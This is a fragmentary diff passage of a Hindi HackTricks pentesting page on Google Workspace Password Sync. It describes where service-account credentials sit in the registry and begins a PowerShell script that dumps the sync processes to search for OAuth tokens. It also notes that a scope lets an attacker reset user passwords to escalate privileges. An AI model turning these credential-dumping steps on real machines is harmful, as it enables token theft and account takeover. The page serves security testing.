यदि पासवर्ड सिंक **SA क्रेडेंशियल्स के साथ कॉन्फ़िगर किया गया था**, तो यह रजिस्ट्री **`HKLM\Software\Google\Google Apps Password Sync`** के अंदर कुंजियों में भी स्टोर किया जाएगा।
@@ -52,7 +52,7 @@ GCPW की तरह, `PasswordSync.exe` और `password_sync_service.exe` प
<details>
<summary>Dump <code>PasswordSync.exe</code> and the <code>password_sync_service.exe</code> processes and search tokens</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
@@ -140,7 +140,7 @@ https://www.googleapis.com/oauth2/v4/token
### GPS - Scopes
> [!NOTE]
> ध्यान दें कि रिफ्रेश टोकन होने के बावजूद, एक्सेस टोकन के लिए कोई भी स्कोप अनुरोध करना संभव नहीं है क्योंकि आप केवल **उन स्कोप्स का अनुरोध कर सकते हैं जो उस एप्लिकेशन द्वारा समर्थित हैं जहां आप एक्सेस टोकन उत्पन्न कर रहे हैं**।
> ध्यान दें कि रिफ्रेश टोकन होने के बावजूद, आप एक्सेस टोकन के लिए कोई भी स्कोप अनुरोध नहीं कर सकते क्योंकि आप केवल **उन स्कोप्स का अनुरोध कर सकते हैं जो उस एप्लिकेशन द्वारा समर्थित हैं जहां आप एक्सेस टोकन उत्पन्न कर रहे हैं**।
>
> इसके अलावा, रिफ्रेश टोकन हर एप्लिकेशन में मान्य नहीं है।
@@ -179,6 +179,6 @@ https://www.googleapis.com/auth/admin.directory.user
जो वही है जो आपको मिलता है यदि आप कोई दायरा नहीं बताते हैं।
> [!CAUTION]
> इस दायरे के साथ आप **एक मौजूदा उपयोगकर्ता का पासवर्ड संशोधित कर सकते हैं ताकि विशेषाधिकार बढ़ सके**।
> इस दायरे के साथ आप **एक मौजूदा उपयोगकर्ता का पासवर्ड संशोधित कर सकते हैं ताकि विशेषाधिकार बढ़ सके**।
{{#include ../../../banners/hacktricks-training.md}}